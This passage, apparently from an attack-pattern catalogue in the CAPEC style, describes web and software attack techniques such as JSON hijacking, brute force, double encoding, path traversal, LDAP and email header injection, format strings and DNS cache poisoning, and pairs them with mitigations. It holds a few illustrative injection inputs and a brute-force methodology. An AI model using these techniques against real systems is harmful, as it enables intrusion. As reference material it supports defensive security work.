address book. This functionality is typically used by the Gmail service to get this data on the fly so that the user can be provided a list of contacts from which to choose the recipient of the e-mail. When the JSON object with the contacts came back, it was loaded into the JavaScript space via a scipt tag on the attacker's malicious page. Since the JSON object was never assigned to a local variable (which would have prevented a scipt from a different domain accessing it due to the browser's single origin policy), another mechanism was needed to access the data that it contained. That mechanism was overwriting the internal array constructor with the attacker's own constructor in order to gain access to the JSON object's contents. These contents could then be transferred to the site controlled by the attacker. Medium: Once this attack pattern is developed and understood, creating an exploit is not very complex. No specialized hardware resources are required. The attacker needs to have knowledge of the URLs that need to be accessed on the target system to request the JSON objects. Examine the typical asynchronous requests and responses between an AJAX client and the server to see how JSON objects are requested and what is returned. Ensure that server side code can differentiate between legitimate requests and forged requests. The solution is similar to protection against Cross Site Request Forger (CSRF), which is to use a hard to guess random nonce (that is unique to the victim's session with the server) that the attacker has no way of knowing (at least in the absense of other weaknesses). Each request from the client to the server should contain this nonce and the server should reject all requests that do not contain the nonce. On the client side, the system's design could make it difficult to get access to the JSON object content via the script tag. Since the JSON object is never assigned locally to a variable, it cannot be readily modified by the attacker before being used by a script tag. For instance, if while(1) was added to the beginning of the JavaScript returned by the server, trying to access it with a script tag would result in an infinite loop. On the other hand, legitimate client side code can remove the while(1) statement after which the JavaScript can be evaluated. A similar result can be achieved by surrounding the returned JavaScript with comment tags, or using other similar techniques (e.g. wrapping the JavaScript with HTML tags). Make the URLs in the system used to retrieve JSON objects unpredictable and unique for each user session. Ensure that to the extent possible, no sensitive data is passed from the server to the client via JSON objects. JavaScript was never intended to play that role, hence the single origin policy does not adequate address this scenario. Information Leakage This attack is relevant in the context of Web 2.0 applications that use AJAX for asynchronous communication between the client and the server via JSON objects. Traditional browser security models are not very well equipped to support AJAX style applications and did not anticipate the use of JavaScript objects as a transport mechanism for confidential information when defining the single origin policy. Many AJAX based mashup applications actually use the functionality very similar to this attack pattern for legitimate uses and so it would be difficult to change the browser security model without breaking these applications. 345 Targeted 346 Targeted 352 Targeted Ensure that a mechanism is in place for the server side code to differentiate between legitimate requests and forged requests On the client side, ensure that the returned JavaScript from the server can only be evaluated locally after being assigned to a variable and not via a script tag Ensure that URLs used to request server responses that pass the JSON objects back to the client are hard to guess and are unique per user session Do not pass confidential information in JSON objects Exploitation High Low Low Client-Server All All AJAX Evgeny Lebanidze Cigital, Inc 2008-01-12 Initial core pattern content Sean Barnum Cigital Federal, Inc. 2009-04-20 Refinement of pattern content

In this attack, some asset (information, functionality, identity, etc.) is protected by a finite secret value. The attacker attempts to gain access to this asset by using trial-and-error to exhaustively explore all the possible secret values in the hope of finding the secret (or a value that is functionally equivalent) that will unlock the asset. Examples of secrets can include, but are not limited to, passwords, encryption keys, database lookup keys, and initial values to one-way functions. The key factor in this attack is the attacker's ability to explore the possible secret space rapidly. This, in turn, is a function of the size of the secret space and the computational power the attacker is able to bring to bear on the problem. If the attacker has modest resources and the secret space is large, the challenge facing the attacker is intractable. While the defender cannot control the resources available to an attacker, they can control the size of the secret space. Creating a large secret space involves selecting one's secret from as large a field of equally likely alternative secrets as possible and ensuring that an attacker is unable to reduce the size of this field using available clues or cryptoanalysis. Doing this is more difficult than it sounds since elimination of patterns (which, in turn, would provide an attacker clues that would help them reduce the space of potential secrets) is difficult to do using deterministic machines, such as computers. Assuming a finite secret space, a brute force attack will eventually succeed. The defender must rely on making sure that the time and resources necessary to do so will exceed the value of the information. For example, a secret space that will likely take hundreds of years to explore is likely safe from raw-brute force attacks.

Determine secret testing procedure Determine how a potential guess of the secret may be tested. This may be accomplished by comparing some manipulation of the secret to a known value, use of the secret to manipulate some known set of data and determining if the result displays specific characteristics (for example, turning cryptotext into plaintext), or by submitting the secret to some external authority and having the external authority respond as to whether the value was the correct secret. Ideally, the attacker will want to determine the correctness of their guess independently since involvement of an external authority is usually slower and can provide an indication to the defender that a brute-force attack is being attempted. Determine if there is a way to parallelize the attack. Most brute force attacks can take advantage of parallel techniques by dividing the search space among available resources, thus dividing the average time to success by the number of resources available. If there is a single choke point, such as a need to check answers with an external authority, the attacker's position is significantly degraded. env-All Reduce search space Find ways to reduce the secret space. The smaller the attacker can make the space they need to search for the secret value, the greater their chances for success. There are a great many ways in which the search space may be reduced. If possible, determine how the secret was selected. If the secret was determined algorithmically (such as by a random number generator) the algorithm may have patterns or dependencies that reduce the size of the secret space. If the secret was created by a human, behavioral factors may, if not completely reduce the space, make some types of secrets more likely than others. (For example, humans may use the same secrets in multiple places or use secrets that look or sound familiar for ease of recall.) env-All If the secret was chosen algorithmically, cryptoanalysis can be applied to the algorithm to discover patterns in this algorithm. (This is true even if the secret is not used in cryptography.) Periodicity, the need for seed values, or weaknesses in the generator all can result in a significantly smaller secret space. env-All If the secret was chosen by a person, social engineering and simple espionage can indicate patterns in their secret selection. If old secrets can be learned (and a target may feel they have little need to protect a secret that has been replaced) hints as to their selection preferences can be gleaned. These can include character substitutions a target employs, patterns in sources (dates, famous phrases, music lyrics, family members, etc.). Once these patterns have been determined, the initial efforts of a brute-force attack can focus on these areas. env-All Some algorithmic techniques for secret selection may leave indicators that can be tested for relatively easily and which could then be used to eliminate large areas of the search space for consideration. For example, it may be possible to determine that a secret does or does not start with a given character after a relatively small number of tests. Alternatively, it might be possible to discover the length of the secret relatively easily. These discoveries would significantly reduce the search space, thus increasing speed with which the attacker discovers the secret. env-All Expand victory conditions It is sometimes possible to expand victory conditions. For example, the attacker might not need to know the exact secret but simply needs a value that produces the same result using a one-way function. While doing this does not reduce the size of the search space, the presence of multiple victory conditions does reduce the likely amount of time that the attacker will need to explore the space before finding a workable value. Gather information so attack can be performed independently. If possible, gather the necessary information so a successful search can be determined without consultation of an external authority. This can be accomplished by capturing cryptotext (if the goal is decoding the text) or the encrypted password dictionary (if the goal is learning passwords). The attacker must be able to determine when they have successfully guessed the secret. As such, one-time pads are immune to this type of attack since there is no way to determine when a guess is correct. High Brute Force Low: The attack simply requires basic scripting ability to automate the exploration of the search space. More sophisticated attackers may be able to use more advanced methods to reduce the search space and increase the speed with which the secret is located. Ultimately, the speed with which an attacker discovers a secret is directly proportional to the computational resources the attacker has at their disposal. This attack method is resource expensive: having large amounts of computational power do not guarantee timely success, but having only minimal resources makes the problem intractable against all but the weakest secret selection procedures. Repeated submissions of incorrect secret values may indicate a brute force attack. For example, repeated bad passwords when accessing user accounts or repeated queries to databases using non-existent keys. Attempts to download files protected by secrets (usually using encryption) may be a precursor to an offline attack to break the file's encryption and read its contents. This is especially significant if the file itself contains other secret values, such as password files. If the attacker is able to perform the checking offline then there will likely be no indication that an attack is ongoing. The attack is impossible to detect if the attacker can test for successful discovery of the secret value independently, without needing to consult an external authority. If an external authority must be consulted, the attacker can attempt to space out their guesses to avoid a large number of failed guesses in a short period of time, but doing so slows the attack to the point of making it unworkable against all but the most trivial secret spaces. As such, if an external authority must be consulted the attacked is unlikely to be able to keep the attack secret. Select a provably large secret space for selection of the secret. Provably large means that the procedure by which the secret is selected does not have artifacts that significantly reduce the size of the total secret space. Do not provide the means for an attacker to determine success independently. This forces the attacker to check their guesses against an external authority, which can slow the attack and warn the defender. This mitigation may not be possible if testing material must appear externally, such as with a transmitted cryptotext. Information Leakage Privilege Escalation 330 Secondary 326 Secondary 521 Secondary 49 More Detailed A specific type of a brute-force attack 20 More Detailed A specific type of a brute-force attack Protect sensitive data, even when the data is encrypted. If an attacker can gain access to encrypted data, they can mount a brute-force attack independently. The defender will not be aware of this attack or be able to do anything about it and at that point it is purely a function of the attacker's available resources as to how long it takes them to learn the secret. Monitor activity logs for suspicious activity. An attacker that must use an external authority to check their brute-force guesses is easy to detect, but only if that external authority is monitoring activity and detects the abnormally large number of failed guesses. Do not assume secrets will protect sensitive data in the long-term Monitor systems for suspicious activity. Penetration

An attacker manipulates the processing of Application Programming Interface (API) resulting in the API's function having an adverse impact upon the security of the system or application implementing the API. This can allow the attacker to execute functionality not intended by the API implementation, possibly compromising the system or application which integrates the API. API Abuse can take on a number of forms. For example, the API may trust that the calling function properly validates its data and thus it may be manipulated by supplying metacharacters or alternate encodings as input, resulting in any number of injection flaws, including SQL injection, cross-site scripting, or command execution. Another example could be API methods that should be disabled in a production application but were not, thus exposing dangerous functionality within a production environment.

The target system must expose API functionality in a manner that can be discovered and manipulated by an attacker. This may require reverse engineering the API syntax or decrypting/de-obfuscating client-server exchanges. Medium The requirements vary depending upon the nature of the API. For application-layer APIs related to the processing of the HTTP protocol, one or more of the following may be needed: a MITM (Man-In-The-Middle) proxy, a web browser, or a programming/scripting language.

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker. This attack may exploit assumptions made by the target's authentication procedures, such as assumptions regarding trust relationships or assumptions regarding the generation of secret values. This attack differs from Authentication Bypass attacks in that Authentication Abuse allows the attacker to be certified as a valid user through illegitimate means, while Authentication Bypass allows the user to access protected material without ever being certified as an authenticated user. This attack does not rely on prior sessions established by successfully authenticating users, as relied upon for the "Exploitation of Session Variables, Resource IDs and other Trusted Credentials" attack patterns.

An authentication mechanism or subsystem implementing some form of authentication such as passwords, digest authentication, security certificates, etc. which is flawed in some way. Medium A client application, command-line access to a binary, or scripting language capable of interacting with the authentication mechanism. 287 Targeted

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place. This refers to an attacker gaining access equivalent to an authenticated user without ever going through an authentication procedure. This is usually the result of the attacker using an unexpected access procedure that does not go through the proper checkpoints where authentication should occur. For example, a web site might assume that all users will click through a given link in order to get to secure material and simply authenticate everyone that clicks the link. However, an attacker might be able to reach secured web content by explicitly entering the path to the content rather than clicking through the authentication link, thereby avoiding the check entirely. This attack pattern differs from other uthentication attacks in that attacks of this pattern avoid authentication entirely, rather than faking authentication by exploiting flaws or by stealing credentials from legitimate users.

An authentication mechanism or subsystem impmenting some form of authentication such as passwords, digest authentication, security certificates, etc. Medium A client application, such as a web browser, or a scripting language capable of interacting with the target. 592 Targeted

An attacker probes the target in a manner that is designed to solicit information relevant to system security. This is achieved by sending data that is syntactically invalid or non-standard relative to a given service, protocol, or expected-input, or by exploring the target via ordinary interactions for the purpose of gathering intelligence about the target. As a result the attacker is able to obtain information from the target that aids the attacker in making inferences about its security, configuration, or potential vulnerabilities. Some exchanges witht the target may trigger unhandled exceptions or verbose error messages. When this happens error messages may reveal information like stack traces, configuration information, path information, or database messages. This type of attack also includes manipulation of query strings in a URI, such as by attemtping to produce invalid SQL queries or by trying alternative path values, in the hope that the server will return useful information. This attack differs from Data Interception and other data collection attacks in that the attacker actively queries the target rather than simply watching for the target to reveal information.

Verbose error handling routines or components that provide the user feedback related to system or application properties. Medium A web browser or a client application capable of sending custom protocol messages, such as a MITM Proxy or a fuzzer, or a similar scanner or packet injection tool.

An attacker monitors data streams to or from a target in order to gather information. This attack may be undertaken to gather information to support a later attack or the data collected may be the end goal of the attack. This attack usually involves sniffing network traffic, but may include observing other types of data streams, such as radio. In most varieties of this attack, the attacker is passive and simply observes regular communication, however in some variants the attacker may attempt to initiate the establishment of a data stream or influence the nature of the data transmitted. However, in all variants of this attack, and distinguishing this attack from other data collection methods, the attacker is not the intended recipient of the data stream. Unlike some other data leakage attacks, the attacker is observing explicit data channels (e.g. network traffic) and reading the content. This differs from attacks that collect more qualitative information, such as communication volume, or other information not explicitly communicated via a data stream.

All targets that transmit information over a network is potentially vulnerable to this attack. Medium The attacker must have the necessary technology to intercept information passing between the nodes of a network. For TCP/IP, the capability to run tcpdump, ethereal, etc. can be useful. Depending upon the data being targeted the technological requirements will change.

An attacker uses well-formed requests to an application, service, or device that results in the inadvertant disclosure of sensitive information by exploiting weaknesses in the design or configuration of the target resulting in the target revealing more information to an attacker than intended. The attacker may collect this information through a variety of methods including active querying as well as passive observation. Information may include details regarding the configuration or capabilities of the target, clues as to the timing or nature of activities, or otherwise sensitive information. Often this sort of attack is undertaken in preparation for some other type of attack, although the collection of information may be the end goal of the attacker in some cases. Information retrieved may aid the attacker in making inferences about potential weaknesses, vulnerabilities, or techniques that assist the attacker's objectives. Data leaks may come various forms, including confidential information stored in inscure directories, or via services that provide rich error or diagnostic messages in response to normal queries.

The target must have some piece of sensitive information that can collected by an attacker. Medium The attacker must have tools to collect the information from the target. This requires a client capable of interacting with the target. For web applications, a web browser or tools such as MITM (Man-In-the-Middle) Proxy.

An attacker depletes a resource to the point that the target's functionality is affected. Virtually any resource necessary for the target's operation can be targeted in this attack. The result of a successful resource depletion attack is usually the degrading or denial of one or more services offered by the target. Resources required will depend on the nature of the resource to be depleted, the amount of the resource the target has access to, and other mitigating circumstances such as the target's ability to shift load, detect and mitigate resource depletion attacks, or acquire additional resources to deal with the depletion. The more protected the resource and the greater the quantity of it that must be consumed, the more resources the attacker will need to have at their disposal.

The target must rely on a vulnerable resource for its operations and be unable to replace it in a reasonable amount of time if it is unavailable. The attacker must have the ability to consume, destroy, or disrupt a resource required for normal operation of the target. Medium In order to deplete the target's resources the attacker must interact with the target in a programmatic way. Depending on the nature of the resource the attacker may need a client or script capable of making repeated requests over a network, or the ability to craft specific requests, such as an HTTP request containing thousands of slashes. If the attacker has some privileges on the system the required resource will likely be the ability to run a binary or upload a compiled exploit, or write and execute a script or program that consumes resources. Depending on the defenses of the targeted system, the attacker may need access to extensive computational and network resources in order to overwhelm the target.

The attacker utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. The may allow the attacker to bypass filters that attempt to detect illegal characters or strings, such as might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.

Try double-encoding for parts of the input in order to try to get past the filters. For instance, by double encoding certain characters in the URL (e.g. dots and slashes) an attacker may try to get access to restricted resources on the web server or force browse to protected pages (thus subverting the authorization service). An attacker can also attempt other injection style attacks using this attack pattern: command injection, SQL injection, etc. The target's filters must fail to detect that a character has been doubly encoded but its interpreting engine must still be able to convert a doubly encoded character to an un-encoded character. Medium Tools that automate encoding of data can assist attackers in generating encoded strings.

An attacker exploits a sample, demonstration, or test API that is insecure by default and should not be resident on production systems. Some applications include APIs that are intended to allow an administrator to test and refine their domain. These APIs should usually be disabled once a system enters a production environment. Testing APIs may expose a great deal of diagnostic information intended to aid an administrator, but which can also be used by an attacker to further refine their attack. Moreover, testing APIs may not have adequate security controls or may not have undergone rigorous testing since they were not intended for use in production environments. As such, they may have many flaws and vulnerabilities that would allow an attacker to severely disrupt a target.

The target must have installed test APIs and failed to secure or remove them when brought into a production environment. High For some APIs, the attacker will need that appropriate client application that interfaces with the API. Other APIs can be executed using simple tools, such as web browsers or console windows. In some cases, an attacker may need to be able to authenticate to the target before it can access the vulnerable APIs.

An attacker is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources. If access control mechanisms are absent or misconfigured, a user may be able to access resources that are intended only for higher level users. An attacker may be able to exploit this to utilize a less trusted account to gain information and perform activities reserved for more trusted accounts. This attack differs from privilege escalation and other privilege stealing attacks in that the attacker never actually escalates their privileges but instead is able to use a lesser degree of privilege to access resources that should be (but are not) reserved for higher privilege accounts. Likewise, the attacker does not exploit trust or subvert systems - all control functionality is working as configured but the configuration does not adequately protect sensitive resources at an appropriate level.

The target must have mis-configured their access control mechanisms such that sensitive information, which should only be accessible to more trusted users, remains accessible to less trusted users. The attacker must have access to the target, albeit with an account that is less privileged than would be appropriate for the targeted resources. Medium No special resources are required for this attack beyond the ability to access the target.

An attacker manipulates a data buffer to change the execution flow of a process to a sequence of events the attacker controls. Data buffers in software applications provide a storage-space for external input. Buffer attacks provide input the buffer cannot correctly handle. Buffer attacks are distinguished in that it is the buffer space itself that is the target of the attack rather than any code responsible for interpreting the content of the buffer. In virtually all buffer attacks the content that is placed in the buffer by the user is immaterial. Instead, most buffer attacks involve providing more input than the buffer can store, resulting in the overwriting of other program memory or even the program stack with user supplied input.

The target must accept input provided by the attacker and store it in a buffer. Medium The attacker must posess a programmatic means for supplying data to a buffer, such as a compiled C or scripted exploit in perl. Network buffer overflows rely on connectivity of a protocol to deliver the payload.

An attacker exploits a data structure shared between multiple applications or an application pool to affect application behavior. Data may be shared between multiple applications or between multiple threads of a single application. Data sharing is usually accomplished through mutual access to a single memory location. If an attacker can manipulate this shared data (usually by co-opting one of the applications or threads) the other applications or threads using the shared data will often continue to trust the validity of the compromised shared data and use it in their calculations. This can result in invalid trust assumptions, corruption of additional data through the normal operations of the other users of the shared data, or even cause a crash or compromise of the sharing applications.

The target applications (or target application threads) must share data between themselves. The attacker must be able to manipulate some piece of the shared data either directly or indirectly and the other users of the data must accept the changed data as valid. Medium The attacker must be able to change the shared data. Usually this requires that the attacker be able to compromise one of the sharing applications or threads in order to manipulated the shared data.

An attacker consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow control in management of interactions. Since each request consumes some of the target's resources, if a sufficiently large number of requests must be processed at the same time then the target's resources can be exhausted. The degree to which the attack is successful depends upon the volume of requests in relation to the amount of the resource the target has access to, and other mitigating circumstances such as the target's ability to shift load or acquired additional resources to deal with the depletion. The more protected the resource and the greater the quantity of it that must be consumed, the more resources the attacker may need to have at their disposal. A typical TCP/IP flooding attack is a Distributed Denial-of-Service attack where many machines simultaneously make a large number of requests to a target. Against a target with strong defenses and a large pool of resources, many tens of thousands of attacking machines may be required. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the attacker can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.

Any target that services requests is vulnerable to this attack on some level of scale. Medium A script or program capable of generating more requests than the target can handle, or a network or cluster of objects all capable of making simultaneous requests.

An attacker uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well formed requests. A typical variety of this attack involves specifiying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker.These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

The attacker must be able to control the path that is requested of the target. The target must fail to adequately sanitize incoming paths Medium The ability to manually manipulate path information either directly through a client application relative to the service or application or via a proxy application.

An attacker crafts a request to a target that results in the target listing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An attacker can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, configuration files, as well as naming patterns, all of which can be used by an attacker to mount additional attacks.

The target must be configured to return a list of a directory's contents when it receives a request that ends in a directory name rather than a file name. The attacker must be able to control the path of a request processed by the target. Medium A client capable of interactions with the target.

An attacker takes advantage of the structure of integer variables to cause these variables to assume values that are not expected by an application. For example, adding one to the largest positive integer in a signed integer variable results in a negative number. Negative numbers may be illegal in an application and the application may prevent an attacker from providing them directly, but the application may not consider that adding two positive numbers can create a negative number do to the structure of integer storage formats.

The target application must have an integer variable for which only some of the possible integer values are expected by the application and where there are no checks on the value of the variable before use. The attacker must be able to manipulate the targeted integer variable such that normal operations result in non-standard values due to the storage structure of integers. Medium No special resources are required.

This attack involves an attacker manipulating a pointer within a target application resulting in the application accessing an unintended memory location. This can result in the crashing of the application or, for certain pointer values, access to data that would not normally be possible or the execution of arbitrary code. Since pointers are simply integer variables, Integer Attacks may often be used in Pointer Attacks.

The target application must have a pointer variable that the attacker can influence to hold an arbitrary value. Medium No special resources are required for most forms of this attack.

An attacker causes the target to allocate excessive resources to servicing the attacker's request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request. For example, using an Integer Attack, the attacker could cause a variable that controls allocation for a request to hold an excessively large value. Excessive allocation of resources can render a service degraded or unavailable to legitimate users and can even lead to crashing of the target.

The target must accept service requests from the attacker and the attacker must be able to control the resource allocation associated with this request to be in excess of the normal allocation. The latter is usually accomplished through the presence of a bug on the target that allows the attacker to manipulate variables used in the allocation. Medium No special resources are required for this attack beyond the ability of the attacker to have the target service requests.

An attacker utilizes a resource leak on the target to deplete the quantity of the resource available to service legitimate requests. Resource leaks most often come in the form of memory leaks where memory is allocated but never released after it has served its purpose, however, theoretically, any other resource that can be reserved can be targeted if the target fails to release the reservation when the reserved resource block is no longer needed. In this attack, the attacker determines what activity results in leaked resources and then triggers that activity on the target. Since some leaks may be small, this may require a large number of requests by the attacker. However, this attack differs from a flooding attack in that the rate of requests is generally not significant. This is because the lost resources due to the leak accumulate until the target is reset, usually by restarting it. Thus, a resource-poor attacker who would be unable to flood the target can still utilize this attack. Resource depletion through leak differs from resource depletion through allocation in that, in the former, the attacker may not be able to control the size of each leaked allocation, but instead allows the leak to accumulate until it is large enough to affect the target's performance. When depleting resources through allocation, the allocated resource may eventually be released by the target so the attack relies on making sure that the allocation size itself is prohibitive of normal operations by the target.

The target must have a resource leak that the attacker can repeatedly trigger. Medium No special resources are required beyond the ability to trigger the targeted leak.

An attacker positions a symbolic link in such a manner that the targeted user or application accesses to the link's endpoint, assuming that it is accessing a file with the link's name. The endpoint file may be either output or input. If the file is output, the result is that the endpoint is modified, instead of a file at the intended location. Modifications to the endpoint file may include appending, overwriting, corrupting, changing permissions, or other modifications. In some variants of this attack the attacker may be able to control the change to a file while in other cases they cannot. The former is especially damaging since the attacker may be able to grant themselves increased privileges or insert false information, but the latter can also be damaging as it can expose sensitive information or corrupt or destroy vital system or application files. Alternatively, the endpoint file may serve as input to the targeted application. This can be used to feed malformed input into the target or to cause the target to process different information, possibly allowing the attacker to control the actions of the target or to cause the target to expose information to the attacker. Moreover, the actions taken on the endpoint file are undertaken with the permissions of the targeted user or application, which may exceed the permissions the attacker would normally have.

The targeted application must perform the desired activities on a file without checking as to whether the file is a symbolic link. The attacker must be able to predict the name of the file the target application is modifying and be able to create a new symbolic link where that file would appear. Medium No special resources are required beyond the ability to create the necessary symbolic link.

An attacker attempts to invoke all common switches and options in the target application for the purpose of discovering weaknesses in the target. For example, in some applications, adding a --debug switch causes debugging information to be displayed, which can sometimes reveal sensitive processing or configuration information to an attacker. This attack differs from other forms of API abuse in that the attacker is blindly attempting to invoke options in the hope that one of them will work rather than specifically targeting a known option. Nonetheless, even if the attacker is familiar with the published options of a targeted application this attack method may still be fruitful as it might discover unpublicized functionality.

The attacker must be able to control the options or switches sent to the target. Medium No special resources are required beyond the ability to send requests to the target.

An attacker manipulates the headers and content of an email message by injecting data via the use of delimeter characters native to the protocol. Many applications allow users to send email messages by filling in fields. For example, a web site may have a link to "share this site with a friend" where the user provides the recipient's email address and the web application fills out all the other fields, such as the subject and body. In this pattern, an attacker adds header and body information to an email message by injecting additional content in an input field used to construct a header of the mail message. This attack takes advantage of the fact that RFC 822 requires that headers in a mail message be separated by a carriage return. As a result, an attacker can inject new headers or content simply by adding a delimiting carriage return and then supplying the new heading and body information. This attack will not work if the user can only supply the message body since a carriage return in the body is treated as a normal character.

The target application must allow users to send email to some recipient, must allow the user to specify the content at least one header field in the message, and must fail to sanitize against the injection of command separators. Medium No special resources are required beyond access to the target mail application.

An attacker includes formatting characters in a string input field on the target application. Most applications assume that users will provide static text and may respond unpredictably to the presence of formatting character. For example, in certain functions of the C programming languages such as printf, the formatting character %s will print the contents of a memory location expecting this location to identify a string. An attacker can use this to read or write to memory locations or files, or simply to manipulate the value of the resulting text in unexpected ways. Reading or writing memory may result in program crashes and writing memory could result in the execution of arbitrary code if the attacker can write to the program stack.

The target application must accept a string as user input, fail to sanitize string formatting characters in the user input, and process this string using functions that interpret string formatting characters. High No special resources are required beyond the ability to provide string input to the target.

An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.

The target application must accept a string as user input, fail to sanitize characters that have a special meaning in LDAP queries in the user input, and insert the user-supplied string in an LDAP query which is then processed. High No special resources are required beyond the ability to provide string input to the target.

An attacker exploits weaknesses in input validation by manipulating the content of request parameters for the purpose of undermining the security of the target. Some parameter encodings use text characters as separators. For example, parameters in a HTTP GET message are encoded as name-value pairs separated by an ampersand (&). If an attacker can supply text strings that are used to fill in these parameters, then they can inject special characters used in the encoding scheme to add or modify parameters. For example, if user input is fed directly into an HTTP GET request and the user provides the value "myInput&new_param=myValue", then the input parameter is set to myInput, but a new parameter (new_param) is also added with a value of myValue. This can significantly change the meaning of the query that is processed by the server. Any encoding scheme where parameters are identified and separated by text characters is potentially vulnerable to this attack - the HTTP GET encoding used above is just one example.

The target application must use a parameter encoding where separators and parameter identifiers are expressed in regular text. The target application must accept a string as user input, fail to sanitize characters that have a special meaning in the parameter encoding, and insert the user-supplied string in an encoding which is then processed. Medium No special resources are required beyond the ability to provide string input to the target.

An attacker supplies a value to the target application which is then used by reflection methods to identify a class, method, or field. For example, in the Java programming language the reflection libraries permit an application to inspect, load, and invoke classes and their components by name. If an attacker can control the input into these methods including the name of the class/method/field or the parameters passed to methods, they can cause the targeted application to invoke incorrect methods, read random fields, or even to load and utilize malicious classes that the attacker created. This can lead to the application revealing sensitive information, returning incorrect results, or even having the attacker take control of the targeted application.

The target application must utilize reflection libraries and allow users to directly control the parameters to these methods. Very High No special resources are required for most forms of this attack beyond the ability to provide input to the target that is used to populate parameters for reflection methods. If the attacker can host classes where the target can invoke them, more powerful variants of this attack are possible.

An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot-dot-slash characters for the purpose of obtaining access to restricted files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.

The attacker must be able to access at least one legitimate path on the target. It is this path the attacker uses as the base for their modifications. The attacker must be able to control the path that is requested of the target. The target must fail to adequately sanitize incoming paths Medium No special resources are required.

Some web applications require users to submit information through an ordered sequence of web forms. This is often done if there is a very large amount of information being collected or if information on earlier forms is used to pre-populate fields or determine which additional information the application needs to collect. An attacker who knows the names of the various forms in the sequence may be able to explicitly type in the name of a later form and navigate to it without first going through the previous forms. This can result in incomplete collection of information, incorrect assumptions about the information submitted by the attacker, or other problems that can impair the functioning of the application.

The target must collect information from the user in a series of forms where each form has its own URL that the attacker can anticipate and the application must fail to detect attempts to access intermediate forms without first filling out the previous forms. Medium No special resources are required for this attack.

An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache . The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.

The attacker must be able to modify the value stored in a cache to match a desired value. The targeted application must not be able to detect the illicit modification of the cache and must trust the cache value in its calculations. High No special resources are required beyond the ability to modify the targeted cache.

An attacker modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the attacker specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Attackers can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

A DNS cache must be vulnerable to some attack that allows the attacker to replace addresses in its lookup table. Client applications must trust the corrupted cashed values and utilize them for their domain name resolutions. Very High The attacker must have the resources to modify the targeted cache. In addition, in most cases the attacker will wish to host the sites to which users will be redirected, although in some cases redirecting to a third party site will accomplish the attacker's goals.

An attacker searches a targeted web site for web pages that have not been publicized. Generally this involves mapping the published web site by spidering through all the published links and then attempt to access well-known debugging or logging pages, or otherwise predictable pages within the site tree. For example, if an attacker might be able to notice a pattern in the naming of documents and extrapolate this pattern to discover additional documents that have been created but are no longer externally linked. Using this, the attacker may be able to gain access to information that the targeted site did not intend to make public.

The targeted web site must include pages within its published tree that are not connected to its tree of links. The sensitivity of the content of these pages determines the severity of this attack. Low Spidering tools to explore the target web site are extremely useful in this attack especially when attacking large sites. Some tools might also be able to automatically construct common page locations from known paths.

An attacker searches a targeted web site for web services that have not been publicized. Generally this involves mapping the published web site by spidering through all the published links and then attempt to access well-known debugging or logging services, or otherwise predictable services within the site tree. This attack can be especially dangerous since unpublished but available services may not have adequate security controls placed upon them given that an administrator may believe they are unreachable.

The targeted web site must include unpublished services within its web tree. The nature of these services determines the severity of this attack. Low Spidering tools to explore the target web site are extremely useful in this attack especially when attacking large sites. Some tools might also be able to automatically construct common service queries from known paths.

